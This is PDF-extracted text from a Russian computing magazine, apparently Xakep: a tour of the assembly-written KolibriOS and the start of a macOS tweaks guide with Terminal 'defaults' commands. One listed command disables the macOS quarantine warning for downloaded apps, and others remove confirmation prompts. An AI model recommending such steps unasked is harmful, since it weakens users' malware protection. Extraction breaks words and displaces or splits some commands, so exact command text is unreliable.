любимый  —  это  «Истинные  име на»  Вер нора  Вин джа.  Из  романов  хороши
«Демон» и «Сво бода» Дэни ела Суаре са. Еще три логия «Задача трех тел» Лю
Цысиня  велико леп на.  Я  смот рю  мало филь мов  и  сери алов,  но  слы шал,  что
«Игра прес толов» хороша, а из филь мов совету ют «При бытие».

mailto:dichum@mail.ru
https://hackit.ua/speakers/ryan-lackey/
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Се год ня в нашей кунс тка мере любопыт ный образчик — опе‐ 
раци онная  сис тема,  написан ная  на  чис том  ассем бле ре.
Вмес те  с  драй верами,  гра фичес кой  обо лоч кой,  десят ками
пре дус танов ленных  прог рамм  и  игр  она  занима ет  мень ше
полуто ра  мегабайт.  Зна комь ся  —  исклю читель но  быс трая
и пре иму щес твен но рос сий ская ОС «Колиб ри».

Раз витие  «Колиб ри»  шло  доволь но  быс тро  вплоть  до  2009  года.  Птич ка
научи лась  летать  на  раз ном  железе,  минималь но  тре буя  пер вый  «Пен тиум»
и восемь мегабайт опе ратив ной памяти. Минималь ные сис темные тре бова‐ 
ния «Колиб ри» таковы:

ЦП: Pentium, AMD 5x86 или Cyrix 5x86 без MMX с час тотой 100 МГц;•
ОЗУ: 8 Мбайт;•
ви деокар та:  VESA‐сов мести мая  с  под дер жкой  режима  VGA  (640  ×  480  ×
16).

•

Сов ремен ная  «Колиб ри»  —  это  регуляр но  обновля емые  «ноч ные  сбор ки»
пос ледней  офи циаль ной  вер сии,  вышед шей  в  кон це  2009  года.  Мы  тес‐ 
тирова ли  .билд 0.7.7.0+ от 20 августа 2017 года

В нас трой ках по умол чанию у KolibriOS отсутс тву‐ 

ет  дос туп  к  дис кам,  которые  вид ны  через  BIOS.

Хорошень ко подумай и сде лай бэкап, преж де чем

менять эту нас трой ку.

Из менения в ноч ных сбор ках хоть и невели ки, но за годы их накопи лось дос‐ 
таточ но. Обновлен ная «Колиб ри» может писать на раз делы FAT 16–32 / ext 2 —
ext 4 и под держи вает дру гие популяр ные фай ловые сис темы (NTFS, XFS, ISO‐
9660) в режиме чте ния. В ней появи лась под дер жка USB и сетевых карт, был
добав лен стек  TCP/IP и  зву ковые  кодеки. В общем,  в  ней  уже мож но  что‐то
делать,  а  не  прос то  пос мотреть  разок  на  свер хлег кую  опе раци онку  с  GUI
и впе чат лить ся ско ростью запус ка.

KolibriOS X‐edition

Как и пред шес тву ющие вер сии, пос ледняя «Колиб ри» написа на на flat assem‐
bler (FASM) и занима ет одну дис кету — 1,44 Мбайт. Бла года ря это му ее мож‐ 
но  целиком  раз местить  в  какой‐нибудь  спе циали зиро ван ной  памяти.  Нап‐ 
ример,  умель цы  записа ли  KolibriOS  пря мо  во  .  Во  вре мя  работы
она  может  целиком  раз мещать ся  в  кеше  некото рых  про цес соров.  Толь ко
пред ставь:  вся  опе раци онка  вмес те  с  прог рамма ми  и  драй верами  кеширо‐ 
вана!

Flash  BIOS

При посеще нии сай та kolibrios.org бра узер может

пре дуп редить  об  опас ности.  При чина,  судя

по все му, — это ассем блер ные прог раммы в дис‐ 

три бути ве.  Сей час  VirusTotal  опре деля ет  сайт

как совер шенно безопас ный.

«Колиб ри» лег ко  заг ружа ется с дис кеты,  вин честе ра, флеш ки,  Live CD или в
вир туаль ной  машине.  Для  эму ляции  дос таточ но  ука зать  тип  ОС  «дру гая»,
выделить ей одно ядро про цес сора и нем ного опе ратив ки. Диск под клю чать
необя затель но, а при наличии роуте ра с DHCP «Колиб ри» момен таль но под‐ 
клю чит ся к интерне ту и локаль ной сети. Сра зу при заг рузке ты уви дишь соот‐ 
ветс тву ющее уве дом ление.

Мгно вен ное под клю чение к сети

Од на  проб лема  —  про токол  HTTPS  не  под держи вает ся  встро енным
в «Колиб ри» бра узе ром. Поэто му сайт   пос мотреть в ней не уда лось,
так же как открыть стра ницы Google, Yandex, Wikipedia, «Сбер банка»... собс‐ 
твен но, никакой при выч ный адрес. Все дав но переш ли на защищен ный про‐ 
токол.  Единс твен ный  сайт  с  олд скуль ным  чис тым HTTP,  который мне  попал‐ 
ся, — это «пор тал Пра витель ства Рос сии», но и он выг лядел в тек сто вом бра‐ 
узе ре не луч шим обра зом.

Xakep.ru

Тек сто вый бра узер работа ет толь ко с HTTP

Нас трой ки  внеш него  вида  в  «Колиб ри»  с  годами  улуч шают ся,  но  все
еще  далеки  от  иде ала.  Спи сок  под держи ваемых  виде оре жимов  отоб ража‐ 
ется на экра не заг рузки «Колиб ри» при нажатии кла виши с латин ской бук вой
a.

Вы бор раз решения

Пе речень дос тупных вари антов невелик, и нуж ного раз решения в нем может
не  ока зать ся.  Если  у  тебя  виде окар та  с  ГП  AMD  (ATI),  то  мож но  сра зу
добавить кас томные нас трой ки. Для это го нуж но заг рузчи ку ATIKMS передать
параметр  , нап ример:‐m<width>x<height>x<refresh>

/RD/1/DRIVERS/ATIKMS ‐m1280x800x60 ‐1

Здесь   — это путь до заг рузчи ка (  — RAM Disk)./RD/1/DRIVERS/ATIKMS RD
При работе сис темы выб ранный виде оре жим мож но пос мотреть коман дой

  и  (теоре тичес ки)  перек лючать  вруч ную.  Если  «Колиб ри»  запуще на
в вир туал ке,  то это окно оста нет ся пус тым, а вот при чис той заг рузке драй‐ 
веры видео Intel мож но добавить от i915 до Skylake вклю читель но.

vmode

Уди витель но, но в KolibriOS умес тилась куча игр. Сре ди них есть логичес‐ 
кие  и  аркадные,  пят нашки,  змей ка,  тан ки  (нет,  не  WoT)  —  целый  «Игро вой
центр»! На «Колиб ри» пор тирова ли даже Doom и Quake.

Иг ровой центр

Еще из важ ного наш лась читал ка FB2READ. Она кор рек тно работа ет с кирил‐ 
лицей и име ет нас трой ки отоб ражения тек ста.

Са мая лег кая читал ка FB2

Все поль зователь ские фай лы рекомен дую хра нить на флеш ке, но под клю чать
ее  нуж но  обя затель но  через  порт  USB  2.0.  Наша флеш ка  USB  3.0  (в  пор те
USB 2.0) объ емом 16 Гбайт с фай ловой сис темой NTFS опре дели лась сра зу.
Если нуж но записы вать фай лы, то сто ит под клю чить флеш ку с раз делом FAT‐ 
32.

Под клю чаем флеш ку

В дис три бутив «Колиб ри» вхо дит три фай ловых менед жера, ути литы для прос‐ 
мотра  изоб ражений  и  докумен тов,  аудио‐  и  виде опле еры  и  про чие  поль‐ 
зователь ские  при ложе ния.  Одна ко  основное  вни мание  в  ней  уде лено  раз‐ 
работ ке на ассем бле ре.

Средс тва раз работ чика

Встро енный  тек сто вый  редак тор  име ет  под свет ку  ASM‐син такси са  и  даже
поз воля ет сра зу запус кать наб ранные прог раммы.

За пуск прог раммы пря мо из TinyPad

Сре ди средств раз работ ки есть ком пилятор Oberon‐07/11 для  i386 Windows,
Linux  и  KolibriOS,  а  так же  низ коуров невые  эму лято ры:  E80  —  эму лятор  ZX
Spectrum, FCE Ultra — один из луч ших эму лято ров NES, DOSBox v.0.74 и дру‐ 
гие. Все они были спе циаль но пор тирова ны на «Колиб ри».

Ес ли  оста вить  KolibriOS  на  нес коль ко  минут,  то  запус тится  скрин сей вер.
На экра не побегут стро ки кода, в которых мож но уви деть отсылку к MenuetOS.

Не пугай ся, это скрин сей вер!

КАК ПОЯВИЛАСЬ KOLIBRIOS

Ин терес на и сама идея появ ления «Колиб ри». Это не оче ред ной клон Linux,
а  совер шенно  уни каль ная  раз работ ка.  Единс твен ное,  что  род нит  ее
с Linux, — это откры тый исходный код и фин ские кор ни.

Мно гие  из  авто ров  «Колиб ри»  до  это го  работа ли  в  дру гом  про екте  —
MenuetOS, из  которой и  вырос ла эта птич ка. Они замети ли,  что  у  всех опе‐ 
раци онок есть общая проб лема — дико раз дутое и уже потому ненадеж ное
ядро. Еще в начале нулевых об этом писал Брюс Шнай ер в  кни ге  «Сек реты
и  ложь.  Безопас ность  дан ных  в  циф ровом  мире».  Тог да  ему  казалось,  что
у  популяр ных  в  то  вре мя  ОС  —  все воз можных  кло нов  UNIX,  Windows  NT
4.0 и сле дующей за ней Windows 2000 (NT 5.0) — все очень пло хо с безопас‐ 
ностью имен но из‐за огромно го ядра.

«Ког да  сис тема  UNIX  была  написа на  впер вые,  счи талось  обя затель- 
ным помеще ние несущес твен ных кодов за пре дела ми ядра. <...> Все
име ющиеся сей час раз новид ности UNIX в той или иной сте пени стра- 
дают  рас пухани ем  ядра:  у  них  либо  слиш ком  мно го  команд  в  ядре,
либо  име ются  непонят ные  ути литы,  запус кающиеся  в  слу чае  кор- 
невого дос тупа, либо что‑то еще.  
Windows NT устро ена нам ного хуже. Эта опе раци онная сис тема может
слу жить  при мером  того,  как  пол ностью  игно риру ются  исто ричес кие
уро ки безопас ности. <...> Windows, похоже, при дер жива ется мне ния,
что, пос коль ку то, что содер жится в ядре, защище но по опре деле нию,
сле дует прос то поболь ше все го раз местить пря мо в ядре. Если раз- 
работ чикам было непонят но, как обес печить безопас ность чего‑либо,
они  прос то  запихи вали  это  в  ядро  и  счи тали  его  уже  защищен ным.
<...>  
<...>  ...Филосо фия  Windows  NT  в  том,  что бы  всег да  отда вать  пред- 
почте ние прос тому над безопас ным — и в обра щении, и в раз работ- 
ке»,  —  писал Шнай ер  в  2000  году.  Не  ска зать,  что  его  кни га  ста ла
откро вени ем, но в ней были сфор мулиро ваны те идеи, которые дав но
витали в воз духе.

При мер но  тог да  же  груп па  прог раммис тов  из  Фин ляндии,  Поль ши  и  стран
быв шего  СССР  пред при няла  попыт ку  соз дать  прин ципи аль но  новую  опе‐ 
раци онку. Написать ее поч ти с нуля и сде лать как мож но ком пак тнее — в иде‐ 
але, что бы она помеща лась на дис кету  (фле шек в  те вре мена еще не было,
и даже пишущий CD‐при вод казал ся дикови ной).

Этой сис темой была MenuetOS. Идей ным вдох новите лем выс тупил Вил ле
Мика эль  Турь янмаа.  Ког да‐то  он  работал  с MrOS —  гра фичес кой  мно гоза‐ 
дач ной  обо лоч кой  для DOS,  со  вре менем  вырос шей  в  отдель ную  опе раци‐ 
онку. Идеи MrOS лег ли в осно ву «Мену эта».

По нача лу MenuetOS раз вивалась такими же малыми шаж ками, какие были
харак терны для фран цуз ско го тан ца, в честь которо го она наз вана. Перелом
нас тупил в 2001 году,  ког да на сай те OSNews было опуб ликова но интервью
с  раз работ чиком.  Вско ре  к  про екту  при соеди нились  дру гие  прог раммис ты,
а  пос ле  пор тирова ния  FASM  даль нейший  код  мож но  было  ком пилиро вать
пря мо в MenuetOS.

Поз же  сос тав  коман ды  раз работ чиков  пос тоян но  менял ся.  Оче ред ные
раз ногла сия  при вели  к  тому,  что  в  2003  году  отде лив шаяся  груп па  решила
сде лать свой форк. Во вре мя раз работ ки он называл ся MENUETOS RE, но на
эта пе релиза был пере име нован в Kolibri 0.1.0.0. Наз вание было пред ложено
Ста нис лавом  «VaStaNi»  Валый ских.  По  замыс лу  оно  дол жно  отра жать  лег‐ 
ковес ность и  ско рость работы опе раци онки. Офи циаль но  «Колиб ри»  выш ла
в мае  2004  года. Пол ноцен ным фор ком  счи тает ся KolibriOS 0.50 — имен но
в ней более полови ны кода отли чалось от MenuetOS.

НАСТОЯЩЕЕ И БУДУЩЕЕ МАЛЕНЬКОЙ ПТИЧКИ

Сей час  «Колиб ри»  рас простра няет ся  на  усло виях  GPLv 2,  в  то  вре мя  как  ее
пред шес твен ница MenuetOS ста ла проп риетар ной в 64‐бит ной вер сии.

По мимо базово го дис три бути ва KolibriOS, сущес тву ет и рас ширен ная вер‐ 
сия.  В  ней  дос тупна  ути лита  уста нов ки  драй веров  DrvInst  и  дру гие  допол‐ 
нитель ные  ком понен ты.  DrvInst  поз воля ет  уста новить  драй веры  устрой ств,
отсутс тву ющие в обра зе  IMG. Нап ример,  драй вер SATA с  под дер жкой AHCI,
драй вер видео для про цес соров Intel, виде окарт AMD и вир туал ки VMware.

Пос тепен но в «Колиб ри» появ ляет ся рас ширен ный набор   и фун‐ 
кция их сгла жива ния. Это будет нелиш ним, пос коль ку встро енный набор был
опти мизи рован для ста рых экра нов с невысо ким раз решени ем.

шриф тов

«Колиб ри»  уже  вош ла  в  исто рию  науки  и  кибер‐ 
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вмес те  с  дру гими  дан ными  общим  объ‐ 

емом 2342 Кбайт.

за писа ли

в  ДНК  опе раци онную  сис тему  KolibriOS

Ос новное  наз начение  KolibriOS  оста лось  преж ним  —  прог рамми рова ние
на ассем бле ре в  чис той сре де безо вся ких прог рам мных прос лоек. Одна ко
раз работ чик может писать свой код для KolibriOS и на язы ках высоко го уров‐ 
ня  (С/С++, Modula,  Fort,  Pascal).  Это  куда  более  прос той  спо соб  соз давать
биб лиоте ки, драй веры и прог раммы.

•Ска чать образ KolibriOS

•Груп па «Колиб ри» в VK

•Про ект KolibriN

mailto:angstroem@hotbox.ru
http://builds.kolibrios.org/rus/latest-distr.7z
http://board.kolibrios.org/viewtopic.php?f=25&t=3446
https://xakep.ru/
http://kolibri-n.org/inf/fonts/
http://www.biorxiv.org/content/biorxiv/early/2016/12/04/074237.full.pdf
http://kolibrios.org/ru/download
https://vk.com/kolibri_os
http://kolibri-n.org/index
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Уве рен, ты не раз слы шал, что в Apple всё реша ют за поль‐ 
зовате ля  и  в macOS ничего  нель зя  тол ком нас тро ить. Пер‐ 
вое утвер жде ние вер но, а вот вто рое, на мой взгляд, пол ный
бред.  В  macOS  тысячи  нас тро ек  —  как  дос тупных,  так
и скры тых, а если в сис теме чего‐то не хва тает, то навер няка
кто‐нибудь  уже  написал  хорошую  прог рамму  для  решения
проб лемы.  Я  поль зуюсь  «макосью»  уже  десять  лет  и  хочу
поделить ся с тобой накоп ленным опы том.

Эта статья пла ниро валась  как озна коми тель ный  тур по сис теме и полез ным
при ложе ниям,  пред назна чен ный  для  опыт ных  поль зовате лей.  Воз можно,  ты
толь ко подумы ваешь перей ти на «мак» или же живешь с macOS какое‐то вре‐ 
мя и жаж дешь узнать что‐то новень кое о том, как устро ена сис тема и как сде‐ 
лать ее удоб нее. В любом слу чае этот гайд будет тебе полезен.

ТРИ БЫСТРЫХ СОВЕТА НОВИЧКАМ

1. Задай активные углы

Од на  из  пер вых  нас тро ек,  которые  я  рекомен дую  опро бовать,  —  это
«активные  углы».  Откры вай  «Сис темные  нас трой ки  →  Mission  Control  →
Активные углы» и как минимум двум углам экра на дай фун кции «Рабочий стол»
и «Окна прог рамм». Пер вая раз дви гает откры тые окна и показы вает дес ктоп,
вто рая  показы вает  окна  активной  прог раммы.  Mission  Control  —  все  прог‐ 
раммы, окна и дес кто пы.

Это полез но не толь ко для быс трой навига ции (окна прог раммы, в прин ципе,
мож но переби рать и по   и  ), но и для перетас кивания. Ты
берешь файл или объ ект и можешь потянуть его на угол, потом выб рать дру‐ 
гое окно или прог рамму. Тас кать мож но и на пап ки (они будут рас кры вать ся
по  ходу дела) и  знач ки прог рамм в доке — если подер жать на них файл,  то
прог рамма  откро ется.  Этот  механизм  называ ется  spring  loading —  «на  пру‐ 
жинах».

Cmd‐` Cmd‐Shift‐`

2. Изу чай и наз начай шот каты

От крыв  любую  прог рамму,  не  забывай  изу чить  ее  меню  —  обыч но  в  нем
содер жится  пол ный  спи сок  фун кций  и  шот каты  для  них.  Кста ти,  ты  можешь
задать  свой  шот кат  для  любого  пун кта  меню  в  любой  прог рамме.  Открой
«Сис темные нас трой ки → Кла виату ра → Сочета ния кла виш → Сочета ния кла‐ 
виш прог рамм», наж ми +. Теперь выбери прог рамму, впи ши наз вание пун кта
меню и задай хот кей.

3. Освой сек реты кноп ки Alt (Option)

Кноп ка Alt, которую на «маке» при нято называть Option, откро ет тебе немало
занят ных воз можнос тей. Вот наибо лее полез ные.

При наборе тек ста Alt и Alt‐Shift исполь зуют ся для вво да спец симво лов.•
За жав  Alt  и  тыкая  на  знач ки  в  меню,  ты  можешь  узнать  допол нитель ную
информа цию. Нап ример,  клик нув с Alt  на  зна чок Wi‐Fi,  ты можешь  узнать
свои MAC и IP, IP мар шру тиза тора, харак терис тики сиг нала и мно гое дру‐ 
гое. А с Cmd мож но дви гать знач ки!

•

Клик  пра вой  кноп кой  мыши  по  знач ку  прог раммы  в  доке  с  зажатым  Alt
изме нит  пун кты  кон текс тно го  меню.  «Зак рыть  при нуди тель но»  вмес то
«Зак рыть» и «Скрыть осталь ные» вмес то «Скрыть».

•

Не кото рые  фун кци ональ ные  кла виши  с  Alt  вызыва ют  соот ветс тву ющие
нас трой ки.  Нап ример,  Alt‐F1  и  Alt‐F2  —  нас трой ки  экра на  (так
как F1 и F2 меня ют яркость под свет ки), а Alt‐F3 — нас трой ки Mission Con‐
trol. Рас положе ние может менять ся в зависи мос ти от модели компь юте ра.

•

Глав ное пра вило при нас трой ке сис темы: сна чала

про буй,  потом  думай  и  толь ко  потом  делай

по‐сво ему. Если не сле довать ему, то велик шанс

что‐то  упус тить  или  испортить  что‐то  хорошее,

отдав  пред почте ние  ста рым  при выч кам.  Меняй

все,  что  хочешь, но сна чала  убе дись,  что в  этом

дей стви тель но есть необ ходимость.

ЭКСКУРСИЯ ПО MACOS: ГДЕ ИСКАТЬ ВСЕ ИНТЕРЕСНОЕ

В Windows, как ты зна ешь, все нас трой ки ОС и прог рамм хра нят ся в реес тре
либо в фай лах INI; в Unix боль шая часть нас тро ек лежит в   либо в скры тых
фай лах в домаш нем катало ге. Мно гое из  того,  что есть в Unix,  при сутс тву ет
и в macOS — есть и   (точ нее,  , а   — это теперь сим линк),
и при выч ные скры тые фай лы в домаш ней пап ке.

/etc

etc private/etc etc

Нас трой ки маков ских прог рамм и более высоко уров невых час тей сис темы
лежат в двух дру гих катало гах —   и 

 (точ нее,  ). В пер‐ 
вой — нас трой ки для всех поль зовате лей, во вто рой — для текуще го.

/Library/Preferences ~/Library/Pref‐
erences /Users/имя_пользователя/Library/Preferences

Спи сок фай лов с нас трой ками ухо дит за горизонт

По пасть  в  поль зователь скую  Library  на  све жеус танов ленной  сис теме
с некото рых пор ста ло не так прос то — нуж но открыть Finder, выб рать в меню
«Переход → Переход к пап ке»  (или нажать Cmd‐Shift‐G) и ско пиро вать  туда
адрес. Что бы это го лиш ний раз не делать, мож но открыть тер минал и выпол‐ 
нить коман ду

chflags nohidden ~/Library

Вот уже и пер вая скры тая нас трой ка! Кста ти, корень дис ка удоб но добавить
в сай дбар наряду с домаш ним катало гом: в нас трой ках Finder выбирай галоч‐ 
ку: «Боковое меню → Жес ткие дис ки».

Па пок  Unix  ты  здесь  не  уви дишь —  они  скры тые  и  по  умол чанию  вид ны
толь ко  из  тер минала,  где  в  основном  и  нуж ны. Но  если  вдруг  понадо бит ся,
можешь выпол нить в тер минале коман ду

defaults write com.apple.Finder AppleShowAllFiles YES

Те перь  перезаг рузи  Finder  («меню  Ябло ко →  Завер шить  при нуди тель но →
Finder → Переза пус тить»), и ты уви дишь все скры тые фай лы и пап ки.

Но  вер немся  к  изу чению  Library. Помимо пап ки Preferences,  здесь  пол но
все го инте рес ного. К при меру, в LaunchAgents и LaunchDaemons лежат нас‐ 
трой ки  авто запус ка  по  рас писанию  (launchd),  в  Application  Support  —  базы
дан ных, пла гины и про чие изме няемые час ти при ложе ний, в Services — сер‐ 
висы  для  обра бот ки  дан ных  (см.  пункт  «Служ бы»  в  основном  меню  любой
прог раммы),  в  Keychains  —  базы  дан ных  с  тво ими  логина ми  и  пароля ми
в зашиф рован ном виде, в PreferencePanes (толь ко в кор невой Library) — пла‐ 
гины  «Сис темных  нас тро ек»,  в  Caches  —  вся кий  вре мен ный  мусор  и  так
далее.

В /Library мож но най ти мно го все го инте рес ного

Так же заг ляни в  . Лазить сюда час то тебе вряд ли при дет ся,
но  изу чить,  из  чего  сде лана  macOS,  не  помеша ет.  Можешь,  нап ример,
открыть  пап ку  Kernels  и  полюбо вать ся  на  ядро  или  поин тересо вать ся  ком‐ 
понен тами сис темы в пап ке  .

/System/Library

CoreServices
По лез но  знать  и  то,  что  любая  прог рамма  в macOS  (вклю чая  сис темные

сер висы) — это пап ка, которую Finder отоб ража ет осо бым обра зом. По двой‐ 
ному  кли ку  она  запус кает ся,  но,  если  хочешь  заг лянуть  внутрь,  жми  на  нее
пра вой кноп кой мыши и выбирай «Показать содер жимое пакета». Тебе откро‐ 
ется мно го инте рес ного!

КАК РАБОТАЕТ DEFAULTS

Боль шинс тво  скры тых  нас тро ек  мож но  менять  при  помощи  коман ды 
. Но что это за загадоч ный defaults? Мы же уже выяс нили, что

все нас трой ки лежат в пап ках Library, неуже ли где‐то еще есть ана лог реес тра
Windows?  На  самом  деле  нет:  парал лелей  с  реес тром  не  избе жать,  но  de‐
faults — это все го лишь удоб ный спо соб быс тро менять из коман дной стро ки
зна чения  в  фай лах  .plist  (property  list  —  «спис ки  свой ств»),  которые  лежат
в   — кор невой или поль зователь ской.

de‐
faults write

Library/Preferences
К  при меру,  выпол нив  коман ду  из  пре дыду щей  глав ки  и  сде лав  в  Finder

видимы ми скры тые фай лы, ты все го лишь переза писал зна чение 
 в  . Если у  тебя

уста нов лен Xcode (а уста новить его я рекомен дую всем пауэрю зерам незави‐ 
симо от желания писать прог раммы для «мака»), то ты смо жешь открыть plist
в удоб ном редак торе, что бы вруч ную най ти и поменять любое зна чение.

AppleShow‐
AllFiles ~/Library/Preferences/com.apple.finder.plist

Лю бой plist мож но редак тировать в Xcode

Фай лы plist могут быть раз ных типов. В новых вер сиях macOS появи лась под‐ 
дер жка нас тро ек в JSON, но боль шинс тво по‐преж нему хра нит ся в виде XML.
В обо их слу чаях такие plist мож но откры вать и редак тировать в любом тек сто‐ 
вом редак торе. Но попада ется еще бинар ный фор мат,  который мож но про‐ 
читать при помощи ути литы из Xcode или декоди ровать коман дой plutil.

Что до ути литы defaults, то она поз воля ет про делать еще нес коль ко инте‐ 
рес ных  трю ков.  Нап ример,  если  написать  ,  то  в  тер минал
будут  вывале ны  вооб ще  все  нас трой ки  из  сис темных  папок.  Они  раз биты
на  домены,  получить  спи сок  которых  ты  можешь  коман дой 

. Теперь выбери инте ресу ющий тебя домен и напиши 
, если хочешь получить толь ко его содер жимое.

defaults  read

defaults
domains defaults read
название_домена

Че го толь ко не най дешь в Preferences. Это, к при меру, сейв игры
«Тук‐тук‐тук»

При  помощи  defaults  так же  мож но  экспор тировать  домены  в  дру гие  фай лы
и импорти ровать из них, а так же искать по доменам. Все под робнос ти ты най‐ 
дешь при помощи man.

СКРЫТЫЕ НАСТРОЙКИ

С  ран них  вре мен macOS,  еще  в  ее  быт ность Mac OS  X,  энту зиас ты  копали
содер жимое   в поис ках инте рес ных перемен ных и кол лекци они‐ 
рова ли спис ки с най ден ными цен ностя ми.

Preferences

  рас простра няет ся  в  виде  фай ла
,  который  пред полага ется  кинуть  в  домаш ний  каталог  и  выпол нять

для пер воначаль ной нас трой ки сис темы (или что бы вер нуть к любимым нас‐ 
трой кам в любой момент).

Луч шая  из  извес тных  мне  кол лекций
.macos

Я   —
ты отклю чишь мно го все го полез ного, даже не зная об этом. Луч ше ска чай,
заком менти руй всё и вклю чай толь ко то, что нуж но, либо выбирай нас трой ки
по  одной  и  запус кай  по  отдель нос ти.  Прой дем ся  по  наибо лее  инте рес ным
опци ям.

нас тоятель но не рекомен дую запус кать этот файл всле пую

Всег да рас кры вать панель сох ранения фай лов:

defaults write NSGlobalDomain NSNavPanelExpandedStateForSaveMode ‐
bool true
defaults write NSGlobalDomain NSNavPanelExpandedStateForSaveMode2 ‐
bool true

Вык лючить диалог под твержде ния при откры тии при ложе ния:

defaults write com.apple.LaunchServices LSQuarantine ‐bool false

От клю чить Notification Center (панель, выез жающая спра ва) и спря тать зна чок:

launchctl unload ‐w /System/Library/LaunchAgents/com.apple.notifi
cationcenterui.plist 2> /dev/null

Наз начить пра вый ниж ний угол трек пада как пра вую кноп ку мыши:

defaults write com.apple.driver.AppleBluetoothMultitouch.trackpad 
TrackpadCornerSecondaryClick ‐int 2
defaults write com.apple.driver.AppleBluetoothMultitouch.trackpad 
TrackpadRightClick ‐bool true
defaults ‐currentHost write NSGlobalDomain com.apple.trackpad.trackp
adCornerClickBehavior ‐int 1
defaults ‐currentHost write NSGlobalDomain com.apple.trackpad.enable
SecondaryClick ‐bool true

Наз начить пап ку для сох ранения скрин шотов по Cmd‐Shift‐3 и Cmd‐Shift‐4:

defaults write com.apple.screencapture location ‐string "${HOME}/
Desktop"

За дать фор мат скрин шотов (png мож но заменить на jpg):

defaults write com.apple.screencapture type ‐string "png"

Вык лючить тень у скрин шотов:

defaults write com.apple.screencapture disable‐shadow ‐bool true

Что бы изме нения всту пили в силу, выпол ни еще  .killall SystemUIServer

Су щес тву ет  и  быс трый  спо соб  сде лать  один

скрин шот  без  тени.  Наж ми  Cmd‐Shift‐4,  выбери

окно,  наж ми  про бел  и  клик ни  по  нуж ному  окну

с зажатой кноп кой Alt.

Но вые  окна  Finder  будут  показы вать  рабочий  стол  (для  дру гих  папок  задай
параметр   и путь в виде  ):PfLo file:///full/path/here/

defaults write com.apple.finder NewWindowTarget ‐string "PfDe"
defaults write com.apple.finder NewWindowTargetPath ‐string "file://
${HOME}/Desktop/"

Всег да показы вать рас ширения фай лов в Finder:

defaults write NSGlobalDomain AppleShowAllExtensions ‐bool true

При сор тиров ке по наз ванию фай ла показы вать пап ки свер ху:

defaults write com.apple.finder _FXSortFoldersFirst ‐bool true

Уб рать пре дуп режде ние, которое отоб ража ется при сме не рас ширения фай‐ 
ла:

defaults write com.apple.finder FXEnableExtensionChangeWarning ‐bool 
false

Раз решить  выделять  текст  в  окнах  Quick  Look  (пред прос мотр  фай лов
по нажатию на про бел):

defaults write com.apple.finder QLEnableTextSelection ‐bool TRUE;
killall Finder

Не соз давать скры тую пап ку   при работе с сетевы ми пап ками (пер‐ 
вая  коман да)  и USB‐носите лями  (вто рая). При  этом рас ширен ные  атри буты
фай лов записы вать ся тоже не будут:

.DS_Store

defaults write com.apple.desktopservices DSDontWriteNetworkStores ‐
bool true
defaults write com.apple.desktopservices DSDontWriteUSBStores ‐bool 
true

Уб рать пре дуп режде ние при очис тке кор зины:

defaults write com.apple.finder WarnOnEmptyTrash ‐bool false

Раз решить AirDrop по Ethernet:

defaults write com.apple.NetworkBrowser BrowseAllInterfaces ‐bool 
true

Уб рать задер жку при авто мати чес ком скры тии дока:

defaults write com.apple.dock autohide‐delay ‐float 0

Уб рать ани мацию при скры тии дока:

defaults write com.apple.dock autohide‐time‐modifier ‐float 0

Всег да целиком показы вать URL в адресной стро ке Safari:

defaults write com.apple.Safari ShowFullURLInSmartSearchField ‐bool 
true

По мимо  это го,  в  фай ле    ты  най дешь  еще  мас су  нас тро ек,  сре ди
которых есть как по‐нас тояще му скры тые опции, так и те, что дос тупны через
интерфейс.  Здесь  они  нуж ны  толь ко  для  того,  что бы  авто мати чес ки  выс‐ 
тавлять их пос ле пере уста нов ки сис темы.

.macos

Рань ше сущес тво вала неп лохая ути лита Secrets, а на ее сай те 
кол лекция всех нас тро ек. Увы, раз работ чик заб росил свое тво рение и сай та
боль ше нет, зато есть  .  Так же сущес тву ет блог 

  —  на  мой  взгляд,  силь но  усту пающий  в  удобс тве  и  пол ноте  фай лику
.

хра нилась

ис ходни ки на GitHub defaults‐
write
.macos

В  любом  слу чае  ни  на  сай тах,  ни  в  прог раммах  ты  не  най дешь  ничего
такого, чего нет в пап ках Preferences.

ВЫБИРАЕМ СОФТ

Со вето вать прог раммы — дело неп ростое, у каж дого свои инте ресы и пред‐ 
почте ния.  Но  в  чужом  спис ке  всег да  мож но  выис кать  что‐то,  что  при дет ся
по  душе,  и  зачас тую  даже  одна  удач ная  рекомен дация  может  стать  откры‐ 
тием,  которое  нехило  поможет  в  работе.  Я  опус тил  боль шую  часть
кросс‐плат формен ного соф та, который может быть известен тебе по дру гим
сис темам, и сос редото чил ся на маков ских прог раммах.

В  пос ледние  годы  были  слу чаи,  ког да  зло умыш‐ 

ленни кам  уда валось  добав лять  вре донос ный  код

в репози тории извес тных опен сор сных прог рамм

для  «мака». Пос тра дали некото рые поль зовате ли

 и   (ссыл ки ведут на новос‐ 

ти).  Будь  начеку  и,  если  есть  воз можность  ска‐ 

чать  прог рамму  из  App  Store,  а  не  с  сай та,

выбирай App Store.

HandBrake Transmission

Продолжение статьи →
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https://xakep.ru/2017/05/10/handbrake-proton/
https://xakep.ru/2016/03/08/keranger/


МЕНЯЕМ СКРЫТЫЕ НАСТРОЙКИ,
СТАВИМ ПОЛЕЗНЫЙ СОФТ И

ЛЕЗЕМ ПОД КАПОТ СИСТЕМЫ,
ПЕРЕЙДЯ НА «МАК»

PCZONE  НАЧАЛО СТАТЬИ←

За мены стан дар тным прог раммам

Вмес те с macOS идет неп лохой набор стан дар тных прог рамм, боль шинс тво
из которых впол не при год но для ежед невно го исполь зования. Со вре менем
ты узна ешь, что в них гораз до боль ше воз можнос тей, чем кажет ся на пер вый
взгляд,  но  иног да  есть  смысл  все  же  заменить  их  на  что‐то  более  прод‐ 
винутое.

. Совер шенно оче вид ная замена: VLC — это на дан ный
момент луч ший из все ядных виде опле еров для macOS (да и для дру гих сис‐ 
тем  тоже один из  луч ших). Одна ко не сто ит  забывать и о QuickTime.  У  него,
к при меру, удоб ная фун кция записи аудио и скрин кастов.

QuickTime → VLC

. Для  «мака» есть огромное  количес тво  ту‐ду‐лис‐ 
тов и пла ниров щиков, вклю чая  ,  ,   и мно гие дру гие. Но я
рекомен дую обра тить  вни мание  на  новень кую  третью  вер сию  Things — она
чудо как хороша.

Reminders → Things
Wunderlist Any.do Clear

Things 3

. Если ты, как и я, пок лонник Google Inbox, то Boxy — это удоб‐ 
ный  спо соб  сде лать  из  Inbox  дес ктоп ное  при ложе ние.  Но  если  Inbox  тебе
не по душе, а Mail на что‐то заменить хочет ся, то можешь пос мотреть 
и  .

Mail → Boxy

Airmail
Spark

.  Ска зать  по  прав де,  до  этой  замены  у  меня
